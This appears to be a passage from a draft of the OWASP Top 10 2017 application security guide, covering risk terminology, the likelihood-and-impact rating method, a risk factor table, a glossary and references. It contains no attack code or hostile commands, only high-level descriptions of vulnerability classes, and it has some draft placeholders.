Threat agent	Threat agents can be humans, with or or without motives, or even in some cases, scripts (such as botnets or worms). Outside of criminal prosecutions and state response, the identity of a threat actor is only important in terms of understanding the sorts of targets and actions the threat agent is likely to target to assist in forensics and incident response.
Weakness	A weakness is a software architectural or design flaw or technical defect that allows a threat agent to exploit a vulnerability within the code. The likelihood of this occuring is well understood within the application security industry.
Flaw	A flaw is a requirements, architecture, or design mistake that will take considerable effort to refactor or mitigate
Defect	A defect is a bug or a piece of code that fails to properly use an effective control
Control	A control is a piece of code, process or people that mitigates
Impact	The impact of a threat agent exploiting a vulnerability is highly dependant on the data asset being processed, stored or protected by the application or API. However, for these 10 vulnerability classes, we can estimate a baseline impact based upon public breach information, such as Dataloss DB, media coverage, and financial impact for publicly listed companies.

The ISO standard for Risk Management is ISO 31000, which defines risks as likelihood x impact. Risk managers worldwide use this working definition to triage, prioritize, and mitigate, transfer or accept risks to the organization.

As no two applications has the same business requirements, is likely built very differently, and integrated with different systems, it's impossible to define a universal impact that would be valid under ISO 31000. Even the same application, such as a CMS would have very different impacts depending on the data assets processed or stored within the CMS. For example, a public wiki containing non-confidential information might need integrity controls, but has no intrinsic value, and thus the disclosure of inforamtion from the wiki is desirable rather than a risk. However, if this same software was used to store sensitive medical records, the data asset has attached legal, privacy and regulatory protection that requires data to be encrypted and access to be audited. Any data leak, tampering or data loss would be a critical risk to the organization.

So how do we judge risks in the ISO 31000 context? Simply, we can't. However, to assist organizations, we use our judgement based upon past experience in the finance, health, government, mining, logistics and other fields to give a rough estimate as to a baseline likelihood and baseline impact.

These baselines are derived in two ways:

- Through a data call, which analyzes real world security test results
- Through a survey of over 500 security professionals

We use these results to inform the OWASP Top 10 regarding likelihood, and we inspect data breach databases to determine typical breach impacts resulting from that type of vulnerability.

Our methodology includes three likelihood factors for each weakness (prevalence, detectability, and ease of exploit) and one impact factor (technical impact). The prevalence of a weakness is a factor that you typically don’t have to calculate. For prevalence data, we have been supplied prevalence statistics from a number of different organizations (as referenced in the Attribution section on page 4) and we have averaged their data together to come up with a Top 10 likelihood of existence list by prevalence. This data was then combined with the other two likelihood factors (detectability and ease of exploit) to calculate a likelihood rating for each weakness. The likelihood rating was then multiplied by our estimated average technical impact for each item to come up with an overall risk ranking for each item in the Top 10.

Note that this approach does not take the likelihood of the threat agent into account. Nor does it account for any of the various technical details associated with your particular application. Any of these factors could significantly affect the overall likelihood of an attacker finding and exploiting a particular vulnerability. This rating also does not take into account the actual impact on your business. Your organization will have to decide how much security risk from applications and APIs the organization is willing to accept given your culture, industry, and regulatory environment. The purpose of the OWASP Top 10 is not to do this risk analysis for you.

The following illustrates our calculation of the risk for A3: Cross-Site Scripting, as an example. XSS is so prevalent it warranted the only 'VERY WIDESPREAD' prevalence value of 0. All other risks ranged from widespread to uncommon (value 1 to 3).

+F Details about Risk factors

Top 10 Risk Factor Summary

The following table presents a summary of the 2017 Top 10 Application Security Risks, and the risk factors we have assigned to each risk. These factors were determined based on the available statistics and the experience of the OWASP Top 10 team. To understand these risks for a particular application or organization, you must consider your own specific threat agents and business impacts. Even egregious software weaknesses may not present a serious risk if there are no threat agents in a position to perform the necessary attack or the business impact is negligible for the assets involved.

Risk	Threat Agents	Exploitability	Prevalence	Detectability	Impact	Business Impacts
A1-Injection	App Specific	EASY	COMMON	AVERAGE	SEVERE	App Specific
A2-Authentication	App Specific	AVERAGE	COMMON	AVERAGE	SEVERE	App Specific
A3-XSS	App Specific	AVERAGE	VERY WIDESPREAD	AVERAGE	MODERATE	App Specific
A4-Access Control	App Specific	EASY	WIDESPREAD	EASY	MODERATE	App Specific
A5-Misconfig	App Specific	EASY	COMMON	EASY	SEVERE	App Specific
A6-Sensitive Data	App Specific	DIFFICULT	UNCOMMON	AVERAGE	SEVERE	App Specific
A7-Attack Protection	App Specific	EASY	COMMON	AVERAGE	MODERATE	App Specific
A8-CSRF	App Specific	AVERAGE	UNCOMMON	EASY	MODERATE	App Specific

A9-Components	App Specific	AVERAGE	COMMON	AVERAGE	MODERATE	App Specific
A10-API Protection	App Specific	AVERAGE	COMMON	DIFFICULT	MODERATE	App Specific

Additional Risks To Consider

The OWASP Top 10 2017 Release Candidate 1 (RC1) contained two missing controls:

- A7 Missing Attack Protection
- A10 Missing API Protection

These controls should be in place, in use, and effective in any mature application security program. However, as the OWASP Top 10 2017 is a vulnerability view, we have incorporated the idea of these controls into each recommendation as necessary, rather than call them out separately. These missing controls have a place in the OWASP Proactive Controls and a forthcoming OWASP Top 10 Defences.

The Top 10 covers a lot of ground, but there are many other risks you should consider and evaluate in your organization. Some of these have appeared in previous versions of the Top 10, and others have not, including new attack techniques that are being identified all the time.

During the preparation of the OWASP Top 10 2017, a survey of information security professionals was conducted, with over 500 responses. Coupled with the data call, the following issues should be considered as part of your application security program, and indeed has either previously appeared in previous OWASP Top 10 editions, or might end up in a future OWASP Top 10:

- TBA - replace with the survey list

\newpage

Appendix A: Glossary

- **2FA** – Two-factor authentication(2FA) adds a second level of authentication to an account log-in.
- **Address Space Layout Randomization (ASLR)** – A technique to make exploiting memory corruption bugs more difficult.
- **Application Security** – Application-level security focuses on the analysis of components that comprise the application layer of the Open Systems Interconnection Reference Model (OSI Model), rather than focusing on for example the underlying operating system or connected networks.
- **Application Security Verification** – The technical assessment of an application against the OWASP MASVS.

- **Application Security Verification Report** – A report that documents the overall results and supporting analysis produced by the verifier for a particular application.
- **Authentication** – The verification of the claimed identity of an application user.
- **Automated Verification** – The use of automated tools (either dynamic analysis tools, static analysis tools, or both) that use vulnerability signatures to find problems.
- **Black box testing** – It is a method of software testing that examines the functionality of an application without peering into its internal structures or workings.
- **Component** – a self-contained unit of code, with associated disk and network interfaces that communicates with other components.
- **Cross-Site Scripting** (XSS) – A security vulnerability typically found in web applications allowing the injection of client-side scripts into content.
- **Cryptographic module** – Hardware, software, and/or firmware that implements cryptographic algorithms and/or generates cryptographic keys.
- **DAST** –Dynamic application security testing (DAST) technologies are designed to detect conditions indicative of a security vulnerability in an application in its running state.
- **Design Verification** – The technical assessment of the security architecture of an application.
- **Dynamic Verification** – The use of automated tools that use vulnerability signatures to find problems during the execution of an application.
- **Globally Unique Identifier** (GUID) – a unique reference number used as an identifier in software.
- **Hyper Text Transfer Protocol** (HTTP) – An application protocol for distributed, collaborative, hypermedia information systems. It is the foundation of data communication for the World Wide Web.
- **Hardcoded keys** – Cryptographic keys which are stored in the device itself.
- **IPC** – Inter Process Communications,In IPC Processes communicate with each other and with the kernel to coordinate their activities.
- **Input Validation** – The canonicalization and validation of untrusted user input.
- **JAVA Bytecode** - Java bytecode is the instruction set of the Java virtual machine(JVM). Each bytecode is composed of one, or in some cases two bytes that represent the instruction (opcode), along with zero or more bytes for passing parameters.
- **Malicious Code** – Code introduced into an application during its development unbeknownst to the application owner, which circumvents the application's intended security policy. Not the same as malware such as a virus or worm!
- **Malware** – Executable code that is introduced into an application during runtime without the knowledge of the application user or administrator.
- **Open Web Application Security Project** (OWASP) – The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks. See: http://www.owasp.org/

- **Personally Identifiable Information** (PII) - is information that can be used on its own or with other information to identify, contact, or locate a single person, or to identify an individual in context.
- **PIE** – Position-independent executable (PIE) is a body of machine code that, being placed somewhere in the primary memory, executes properly regardless of its absolute address.
- **PKI** – A PKI is an arrangement that binds public keys with respective identities of entities. The binding is established through a process of registration and issuance of certificates at and by a certificate authority (CA).
- **SAST** – Static application security testing (SAST) is a set of technologies designed to analyze application source code, byte code and binaries for coding and design conditions that are indicative of security vulnerabilities. SAST solutions analyze an application from the "inside out" in a nonrunning state.
- **SDLC** – Software development lifecycle.
- **Security Architecture** – An abstraction of an application's design that identifies and describes where and how security controls are used, and also identifies and describes the location and sensitivity of both user and application data.
- **Security Configuration** – The runtime configuration of an application that affects how security controls are used.
- **Security Control** – A function or component that performs a security check (e.g. an access control check) or when called results in a security effect (e.g. generating an audit record).
- **SQL Injection (SQLi)** – A code injection technique used to attack data driven applications, in which malicious SQL statements are inserted into an entry point.
- **SSO Authentication** – Single Sign On(SSO) occurs when a user logs in to one Client and is then signed in to other Clients automatically, regardless of the platform, technology, or domain the user is using. For example when you log in in google you automatically login in the youtube , docs and mail service.
- **Threat Modeling** - A technique consisting of developing increasingly refined security architectures to identify threat agents, security zones, security controls, and important technical and business assets.
- **Transport Layer Security** – Cryptographic protocols that provide communication security over the Internet
- **URI/URL/URL fragments** – A Uniform Resource Identifier is a string of characters used to identify a name or a web resource. A Uniform Resource Locator is often used as a reference to a resource.
- **User acceptance testing (UAT)**– Traditionally a test environment that behaves like the production environment where all software testing is performed before going live.
- **Verifier** – The person or team that is reviewing an application against the OWASP ASVS requirements.
- **Whitelist** – A list of permitted data or operations, for example a list of characters that are allowed to perform input validation.
- **X.509 Certificate** – An X.509 certificate is a digital certificate that uses the widely accepted international X.509 public key infrastructure (PKI) standard to verify that a

public key belongs to the user, computer or service identity contained within the certificate.

\newpage

Appendix B: References

The following OWASP projects are most likely to be useful to users/adopters of this standard:

- OWASP Proactive Controls - https://www.owasp.org/index.php/OWASP_Proactive_Controls
- OWASP Application Security Verification Standard - https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project
- OWASP Privacy Top 10 Risks - https://www.owasp.org/index.php/OWASP_Top_10_Privacy_Risks_Project
- OWASP Mobile Top 10 Risks - https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks

Similarly, the following web sites are most likely to be useful to users/adopters of this standard:

- MITRE Common Weakness Enumeration - http://cwe.mitre.org/
- PCI Security Standards Council - https://www.pcisecuritystandards.org
- PCI Data Security Standard (DSS) v3.0 Requirements and Security Assessment Procedures https://www.pcisecuritystandards.org/documents/PCI_DSS_v3.pdf